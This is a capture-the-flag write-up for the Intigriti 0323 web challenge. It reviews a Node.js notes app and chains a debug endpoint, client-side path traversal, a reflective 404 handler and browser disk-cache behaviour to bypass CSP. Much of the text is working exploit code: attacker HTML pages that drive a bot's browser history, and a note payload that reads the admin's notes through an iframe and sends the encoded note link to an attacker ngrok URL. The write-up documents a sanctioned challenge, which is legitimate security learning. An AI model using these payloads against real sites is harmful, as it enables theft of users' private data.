Intigriti Challenge
This was one of the winning entry for the CTF
The challenge can be found here: https://challenge-0323.intigriti.io/ We are tasked with hacking the flag from the admin account. “The admin user has a note with the flag.” The authors also provide us with the source code for the CTF.
Source Code review
We are provided with the NodeJS application, with file-structure like so:
├── README.md
├── app
│ ├── docker-compose.yml
│ └── www
│ ├── Dockerfile
│ ├── app.js # server-side
│ ├── bot.js # server-side
│ ├── node_modules # server-side
│ ├── package-lock.json # server-side
│ ├── package.json # server-side
│ ├── static
│ │ ├── challenge # client-side
| | ├── app.js
| | ├── exp.js
| | ├── note.gif
| | ├── noteico.png
| | ├── notes.js
| | ├── purify.js
| | ├── style.css
| | └── view.js
│ │ ├── index.html # client-side
│ │ └── public # client-side
│ └── views # client-side
│ ├── create.ejs
│ ├── index.ejs
│ └── note.ejs
Server-Side
We start the source-code review by reading the app.js file provided in app/www
. One can quickly notice these snippets:
// Clear the runtime DB every 1 hrs
setInterval(() => {
notes.clear();
allPosts = Object.create(null);
console.log("[🧹] DB cleared 😏");
}, 3600000);
/* snip */
// The CSP policy
app.use((req, res, next) => {
res.setHeader(
"Content-Security-Policy",
"default-src 'self'; style-src fonts.gstatic.com fonts.googleapis.com 'self' 'unsafe-inline';font-src fonts.gstatic.com 'self'; script-src 'self'; base-uri 'self'; frame-src 'self'; frame-ancestors 'self'; object-src 'none';"
);
next();
});
Having the CSP in the code means we will have to bypass it somehow, and at some point, an XSS attack will come into play.
Spolier-Alert: Nope, almost XSS but no.
The code also creates session tokens for the users, which are needed to fetch the correct notes. The code also creates session tokens for the users, which are needed to fetch the correct notes. We are also using Embedded JavaScript templates (ejs), so it’s good to be on the lookout for <%-value%>
The code assigned each note a uuid() value for noteIDs, which got a little annoying, so I changed the code to set a simple integer value to the noteID.
1// note ID simple
2let noteIdCounter = 1
3
4// route to create a new note
5app.post("/create", (req, res) => {
6 const note = req.body.note;
7
8 /* snip */
9
10 //noteId = uuid();
11 noteId = noteIdCounter++;
The code provides us with these endpoints:
notes
GETcreate
GET | POST/note/:id
GETvisit
GETdebug/52abd8b5-3add-4866-92fc-75d2b1ec1938/:id
GET*
GET
The first key insights on Server-Side Code are:
note/:id
doesn’t have input sanitization on:id
and, unlike the/notes
doesn’t have a check for a session token, let alone a check for whether or that note belongs to the session./debug/52abd8b5-3add-4866-92fc-75d2b1ec1938
endpoint shouldn’t be available on the production env, but it is and lacks the same defenses as thenote/:id
endpoint.- The
visit
end point is where the bot is initialized. The bot uses the Puppeteer package to run a headless Chrome browser. - The handle-all endpoint
*
also reflects the user input in the response. The input is not sanitized.
Even though the 3rd point looks a little irrelevant, it’s the first step in exploiting the cache issue, as hinted by the second hint here: https://twitter.com/intigriti/status/1644358672468901889
But most importantly, the note cannot be accessed on both note/:id
and debug/<hash>/: id
because of the header mode: read
requirement.
app.get("/note/:id", (req, res) => {
// TODO: Congifure CORS and setup an allowList
let mode = req.headers["mode"];
if (mode === "read") {
res.setHeader("content-type", "text/plain"); // no xss
console.log(getPostByID(req.params.id).note)
console.log(req.params.id)
res.send(getPostByID(req.params.id).note);
} else {
return res.render("note", { title: getPostByID(req.params.id).title });
}
});
/* snip */
app.get("/debug/sd/:id", (req, res) => {
let mode = req.headers["mode"];
if (mode === "read") {
res.send(getPostByID(req.params.id).note);
} else {
return res.status(404).send("404");
}
});
There is also no possibility of triggering an XSS on the note/:id
and debug
endpoint because of this code snippet:
res.setHeader("content-type", "text/plain"); // no xss
What happens when not using the Client-Side script
If you try to access the endpoint using the http://127.0.0.1/note/1?id=1
Client-Side
The first key insights on Client-Side Code are:
- There is a file named
exp.js
probably to hint at how the CSP will be bypassed. view.js
lacks input sanitization on theid
param and can help us do injections or file inclusions. Also, usesfetch
:P
Will also help us to exploit the Cache. Hinted in the second hint: https://twitter.com/intigriti/status/1644358672468901889. This actually helped me find this writeup: https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote
What and how to exploit
Agenda
The idea of the CTF is simple: steal the noteID
of the flag note that the bot creates. (Since the cookies are protected and are not required to see the note ID)
- Create a note with JS
- Make the bot visit it
- The JS steals the noteID
well, if only it was this simple.
Exploitation
- CSP which prevents the use of external JS or inline
script-src
, so you are restricted with things, you can use as payload.
Evaulating the CSP using Google CSP Evaluator: https://csp-evaluator.withgoogle.com/
- We can make a note and use it in line
script-src
to call it, but it cannot be fetched without the requiredmode: read
headers.
Part1
Let’s try solving the ability to fetch the note.
I was able to do it when the second hint was provided. The thinking was developed once I knew what had to be done, and then I started seeing the clues.
The authors could have simply used the endpoint to node/:id
to fetch the note, but there was a requirement for the header mode: read
, and hence the client-side code was used, which utilized fetch
. This was done to introduce a vuln intentionally:
As a interesting point of disk cache, the cache includes not only the HTTP response rendered to a web page, but also those fetched with fetch. In other words, if you access the URL for a fetched resource, the browser will render the resource on the page. Source: https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote
Armed with this knowledge, let’s try and test this scenario out.
Step1: Let’s make a note with HTML in it.
We know it will render with note/:id
path because of fetch
in view.js
, BUT when opened using the debug path
. We need the headers to do so.
The 404 using the debug route
I changed the code to make it easy to debug with integers as
noteIDs
Step2: Abusing the cache to add headers to the debug/sd/:id
Using the 2nd point in the client-side code review, let’s include the note1
using the debug path.
Remember how we visited
debug/sd/1
above in previous step. Just after this, visit this path:note/1?id=../debug/sd/1
Time to abuse the cache
as mentioned in the writeup referenced above. Open the console and type history.back()
Scripting part1
We need to make the bot visit debug_url
first and then local_inclusion
url. We then make use of history.go(-2)
to abuse the cache.
Code Snippet: Both these files are hosted on the attacker server.
<!-- test.html -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Attacker Page</title>
</head>
<body>
<script>
// Define a sleep function that returns a promise that resolves after a specified delay
const sleep = (msec) => new Promise((resolve) => setTimeout(resolve, msec));
const exploit = async () => {
const note_id = "1";
const baseUrl = 'http://127.0.0.1';
const attacker_url = 'http://127.0.0.1:1337'
const debug_path = "sd"
const debug_url = `${baseUrl}/debug/${debug_path}/${note_id}`;
const local_inclusion = `${baseUrl}/note/${note_id}?id=../debug/${debug_path}/${note_id}`;
const goBackUrl = `${attacker_url}/goback.html`;
try {
console.log('Opening debug_url:', debug_url);
const newWindow = window.open(debug_url, '_blank');
await sleep(2000); // Delay for 2 seconds
console.log('Navigating to local_inclusion:', local_inclusion);
newWindow.location.href = local_inclusion;
await sleep(2000); // Delay for 2 seconds
console.log('Navigating back to debug_url using go-back.html');
newWindow.location.href = goBackUrl;
await sleep(2000); // Delay for 2 seconds
} catch (error) {
console.error('Error in exploit:', error);
}
};
exploit();
</script>
</body>
</html>
<!-- goback.html -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Go Back</title>
</head>
<body>
<script>
window.addEventListener('DOMContentLoaded', () => {
history.go(-2);
});
</script>
</body>
</html>
Testing it with the bot.js
provided in the source code and using the visit?url=http://127.0.0.1:1337/test.html
The bot visiting the payload.
Response from the server
Attacker Server logs
Part2
We have the note, which we can use to run the payload to extract the noteID
. What remains now is the ability to add JS code in the note and bypass CSP.
This is where the *
end-point will come in handy. We will use srcipt-src
in the note itself, to run run JS.
<script src="http://127.0.0.1/somethingxyz/,alert(String.fromCharCode(72,101,108,108,111))"></script>
We are successfully able to execute an alert for the bot. BUT this is where things get very tricky. Remember the code for *
it has this line as well:
return res.send("404 - " + encodeURI(req.path));
Not only should your code bypass CSP, but it should also pass this encodeURI
check. I tried a lot trying to come up with a bypass, but it didn’t work.
After brainstorming for a while, I thought of using the HTML tags to somehow read the noteID
.
Enter the payload
<iframe id="notesframe" src="http://127.0.0.1/notes"></iframe>
<script src="http://127.0.0.1/somethingxyz/,console.log(document.getElementById('notesframe').contentWindow.document.body.innerHTML);" defer></script>
<script src="http://127.0.0.1/somethingxyz/,console.log(1);a=btoa(encodeURIComponent(document.getElementById('notesframe').contentWindow.document.body.querySelector('a').outerHTML));window.location.href='https://825f-2601-197-380-43a0-99e5-8a79-29c7-8ddf.ngrok-free.app/'+a;" defer></script>
In short, the payload retrieves the text content of an anchor tag from an iframe, encodes it, and sends it to the attacker’s server by redirecting the browser to the attacker’s URL with the encoded data appended. However, the script above won’t work right because the
iframe
won’t load in time.
We need to somehow delay the loading of the page for the iframe
to load. I achived this by loading the purify.js
and stylesheets
mutiple times.
<iframe id="notesframe" src="http://127.0.0.1/notes"></iframe>
<script src="http://127.0.0.1/challenge/purify.js"></script>
<script src="http://127.0.0.1/challenge/purify.js"></script>
<script src="http://127.0.0.1/challenge/purify.js"></script>
<script src="http://127.0.0.1/challenge/purify.js"></script>
<script src="http://127.0.0.1/challenge/purify.js"></script>
<script src="http://127.0.0.1/challenge/purify.js"></script>
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<link href="/public/bootstrap.min.css" rel="stylesheet">
<link href="/challenge/style.css" rel="stylesheet">
<script src="http://127.0.0.1/challenge/purify.js"></script>
<script src="http://127.0.0.1/challenge/purify.js"></script>
<script src="http://127.0.0.1/challenge/purify.js"></script>
<script src="http://127.0.0.1/challenge/purify.js"></script>
<script src="http://127.0.0.1/challenge/purify.js"></script>
<script src="http://127.0.0.1/challenge/purify.js"></script>
<script src="http://127.0.0.1/challenge/purify.js"></script>
<script src="http://127.0.0.1/challenge/purify.js"></script>
<script src="http://127.0.0.1/somethingxyz/,console.log(document.getElementById('notesframe').contentWindow.document.body.innerHTML);" defer></script>
<script src="http://127.0.0.1/somethingxyz/,console.log(1);a=btoa(encodeURIComponent(document.getElementById('notesframe').contentWindow.document.body.querySelector('a').outerHTML));window.location.href='https://825f-2601-197-380-43a0-99e5-8a79-29c7-8ddf.ngrok-free.app/'+a;" defer></script>
what the script will be extracting
Time to test it on the actualy CTF page.
Response on the ngrok server
base64 decoded
Flag finally found
Final attacker HTML used:
<!-- test.html -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Attacker Page</title>
</head>
<body>
<script>
// Define a sleep function that returns a promise that resolves after a specified delay
const sleep = (msec) => new Promise((resolve) => setTimeout(resolve, msec));
const exploit = async () => {
const note_id = "65b94781-ee96-465d-9ca4-757d234c23d0";
const baseUrl = 'http://127.0.0.1';
const debug_path = "52abd8b5-3add-4866-92fc-75d2b1ec1938"
const attacker_url = "https://825f-2601-197-380-43a0-99e5-8a79-29c7-8ddf.ngrok-free.app"
// const attacker_url = 'http://127.0.0.1:1337'
// const debug_path = "sd"
const debug_url = `${baseUrl}/debug/${debug_path}/${note_id}`;
const local_inclusion = `${baseUrl}/note/${note_id}?id=../debug/${debug_path}/${note_id}`;
const goBackUrl = `${attacker_url}/goback.html`;
try {
console.log('Opening debug_url:', debug_url);
const newWindow = window.open(debug_url, '_blank');
await sleep(2000); // Delay for 2 seconds
console.log('Navigating to local_inclusion:', local_inclusion);
newWindow.location.href = local_inclusion;
await sleep(2000); // Delay for 2 seconds
console.log('Navigating back to debug_url using go-back.html');
newWindow.location.href = goBackUrl;
await sleep(2000); // Delay for 2 seconds
} catch (error) {
console.error('Error in exploit:', error);
}
};
exploit();
</script>
</body>
</html>